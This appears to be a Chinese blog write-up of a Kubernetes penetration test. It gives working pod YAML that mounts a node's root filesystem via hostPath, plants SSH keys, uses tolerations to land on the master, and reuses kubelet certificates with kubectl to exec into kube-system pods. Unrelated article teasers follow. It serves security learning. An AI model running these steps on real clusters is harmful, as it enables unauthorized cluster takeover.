K8S云原生渗透实战

news/2024/6/3 18:02:14 标签: 云原生, kubernetes, 容器, 开发语言, python, 服务器, linux

实战目标介绍

Kubernetes是一个开源的,用于管理云平台中多个主机上的容器化的应用,Kubernetes的目标是让部署容器化的应用简单并且高效(powerful),Kubernetes提供了应用部署,规划,更新,维护的一种机制。

如今,很多云原生产品,都是在k8s上进行微创新。云上攻防就是研究k8s漏洞。

此次实战渗透某k8s云原生产品,分享经验心得。

普通用户test1

通过信息收集、暴力破解等手段,获取到一个普通用户test1。
在这里插入图片描述

登陆test1账号,创建pod容器
点击添加命名空间,添加命名空间:test
在这里插入图片描述

部署工作负载,创建工作负载:myapp
在这里插入图片描述

进入工作负载:myapp,可以看到pod的ip是10.42.3.65,在node节点192.168.1.9下。
在这里插入图片描述

pod容器 安装kubectl

一般情况,容器的环境没有配置任何信息,通过命令ping www.baidu.com,发现没配置dns、没有更新源、没有基本的命令、没有网络工具,更没有kubectl工具。

因此在pod容器里,首先初始化渗透环境。

1、添加配置dns

echo nameserver 8.8.8.8 >> /etc/resolv.conf
echo nameserver 114.114.114.114 >> /etc/resolv.conf
2、更换源

#更换源
cp /etc/apt/sources.list /etc/apt/sources.list.bak
echo > /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free >> /etc/apt/sources.list
3、下载kubectl

wget https://dl.k8s.io/v1.9.11/kubernetes-client-linux-amd64.tar.gz
tar -zxvf kubernetes-client-linux-amd64.tar.gz
cd kubernetes/client/bin
chmod +x kubectl
cp kubernetes/client/bin/kubectl /usr/local/bin/kubectl

攻击,挂载node根目录,获取Node节点权限

通过编辑YAML规则,尝试挂载node的根目录到上面创建的pod。

spec:
containers:
name: myapp
volumeMounts:
- mountPath: /host
name: host
volumes:
- hostPath:
path: /
type: Directory
name: host
yaml规则解析:

hostPath中的path,就是被挂着的目录,这里设置为根目录。

volumeMounts中的mountPath,就是在容器的目录位置。

挂载根目录到容器的/host目录下。
在这里插入图片描述

挂载后,进入pod容器
在这里插入图片描述

可以看到,pod容器ip为:10.42.3.66,node节点ip为:192.168.1.9

挂载成功,在pod容器中读取到node节点内容。
在这里插入图片描述

写入ssh私钥,通过pod容器socks5代理,成功登录node节点。
在这里插入图片描述在这里插入图片描述

攻击,通过容忍度(tolerations)从node节点横向到master节点

1、查找kubeconfig配置文件位置

在node节点中,执行ps -efw | grep kubeconfig
在这里插入图片描述

找到kubeconfig配置文件位置 /etc/kubernetes/ssl/kubecfg-kube-node.yaml
在这里插入图片描述

下载安装kubectl,使用kubectl命令获取node节点信息。

通过kubectl命令,确认Master节点的污点(Taint)。

./kubectl --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml describe node
在这里插入图片描述

成功获取到master的污点(Taint)信息:

Taints: node-role.kubernetes.io/etcd=true:NoExecute
node-role.kubernetes.io/controlplane=true:NoSchedule

键:node-role.kubernetes.io/etcd 影响:NoExecute
键:node-role.kubernetes.io/controlplane 影响:NoSchedule
在调度容忍,添加对应的键值。
在这里插入图片描述

对应的yaml规则如下:

apiVersion: apps/v1
kind: Deployment
spec:
spec:
containers:
- image: ubuntu/nginx:latest
name: myapp2
volumeMounts:
- mountPath: /host
name: host
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/controlplane
operator: Exists
- effect: NoExecute
key: node-role.kubernetes.io/etcd
operator: Exists
volumes:
- hostPath:
path: /
type: Directory
name: host
可以看到,成功将pod挂到master节点下。

在这里插入图片描述

同样,挂载master节点的根目录到pod容器里面。
在这里插入图片描述

写入ssh公钥,成功登录master节点。
在这里插入图片描述

攻击,从Node节点到获取k8s权限
情景一
1、查找kubeconfig配置文件位置
在这里插入图片描述

在node节点中,执行ps -efw | grep kubeconfig

2、找到kubeconfig配置文件位置

/etc/kubernetes/ssl/kubecfg-kube-node.yaml
在这里插入图片描述

3、使用kubectl命令 get pods 获取到k8s所有容器信息。

./kubectl --server=https://127.0.0.1:6443 --certificate-authority=/etc/kubernetes/ssl/kube-ca.pem --client-key=/etc/kubernetes/ssl/kube-node-key.pem --client-certificate=/etc/kubernetes/ssl/kube-node.pem get pods --all-namespaces

在这里插入图片描述

4、进入任意容器

./kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://127.0.0.1:6443 --certificate-authority=ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh
(ps:忘记截图了,情景二有图)

情景二
1、查找kubeconfig配置文件位置

在node节点中,执行ps -efw | grep kube,找到kubeconfig

cat /etc/kubernetes/kubelet.conf

server: https://172.28.0.201:6443
client-certificate: /var/lib/kubelet/pki/kubelet-client-current.pem
client-key: /var/lib/kubelet/pki/kubelet-client-current.pem
在这里插入图片描述

2、搜索ca.crt证书文件

在这里插入图片描述

3、使用kubectl命令,获取到所有k8s的所有pods信息

kubectl --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem get pods --all-namespaces
172.28.0.7为node节点之一。
在这里插入图片描述

4、进入任意容器

示例:使用kubectl命令进入命名空间为kube-system的容器:calico-node-mk79h

命令:

kubectl exec -it calico-node-mk79h --namespace=kube-system --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh
在这里插入图片描述

成功进入容器calico-node-mk79h
在这里插入图片描述

容器的ip:
在这里插入图片描述

总结
通过对k8s云原生的实战,深入理解了k8s渗透相关知识。

node节点用户权限管理没有进行严格限制,可以挂载节点根目录。

理解了容忍度(tolerations)、污点(taints)。

master节点通过设置污点(taints),避免pod容器随意调度到master上,而只能调度到node节点。

pod容器通过设置容忍度(tolerations),容忍了master的污点(taints),就可以调度到master节点。

参考
https://www.freebuf.com/vuls/196993.html
https://annevi.cn/2020/12/21/华为云ctf-cloud非预期解之k8s渗透实战/
https://mp.weixin.qq.com/s/iWC-qTy7n7GwrRHMNXsVUA


http://www.niftyadmin.cn/n/5045544.html

相关文章

Zookeeper高级_四字命令

之前使用stat命令来验证ZooKeeper服务器是否启动成功,这里的stat命令就是ZooKeeper 中最为典型的命令之一。ZooKeeper中有很多类似的命令,它们的长度通常都是4个英文字母,因此我们称之为“四字命令”。 添加配置 vim zoo.cfg 4lw.commands…

ORM模型与表的映射

ORM模型与表的映射 ORM模型 对象关系映射(ObjectRelationship:Mapping),简称 ORM,是一种可以用 Python 面向对象的方式来操作关系型数据库的技术,具有可以映射到数据库表能力的 Python 类我们称之为 ORM 模型。一个 ORM 模型与数据库中一个…

flume安装及实战

flume官方下载地址:Welcome to Apache Flume — Apache Flume 一、flume安装 (1)解压至安装目录 tar -zxf ./apache-flume-1.9.0-bin.tar.gz -C /opt/soft/ (2)配置文件flume-env.sh cd /opt/soft/flume190/conf …

Mysql004:用户管理

前言:本章节讲解的是mysql中的用户管理,包括(管理数据用户)、(控制数据库的访问权限)。 目录 1. 查询用户 2. 创建用户 3. 修改用户密码 4. 删除用户 5. 权限控制 1. 查询用户 在mysql数据库中&#xff0…

windows上安装好了pip,并正确配置了路径后,特别地使用

尝试使用 Python -m pip:有时,在某些 Python 安装中,pip 可能需要通过 python -m pip 来执行。尝试运行以下命令: python -m pip install requests

【Kafaka实现高吞吐量、低延迟的底层原理】

文章目录 Kafaka实现高吞吐量、低延迟的底层原理顺序写入Page Cache零拷贝分区分段索引批量读写批量压缩 Kafaka实现高吞吐量、低延迟的底层原理 Kafka虽然是基于磁盘做的数据存储,但却具有高并发、高吞吐量、低延时的特点,其吞吐量动辄几万、几十上百万…

解决 Github port 443 : Timed out

解决方法 打开代理页面 打开 设置 --> 网络与Internet --> 查找代理 记录下当前系统代理的 IP 地址和端口号 如上图所示,地址与端口号为:127.0.0.1:7890 注意修改成自己的IP和端口号 git config --global http.proxy http://127.0.0.1:7890 gi…

使用python处理MNIST数据集

文章目录 一. MNIST数据集1.1 什么是MNIST数据集1.2MNIST数据集文件格式1.3使用python访问MNIST数据集文件内容 附录程序源码 一. MNIST数据集 1.1 什么是MNIST数据集 MNIST数据集是入门机器学习/识别模式的最经典数据集之一。最早于1998年Yan Lecun在论文:[Gradient-based l…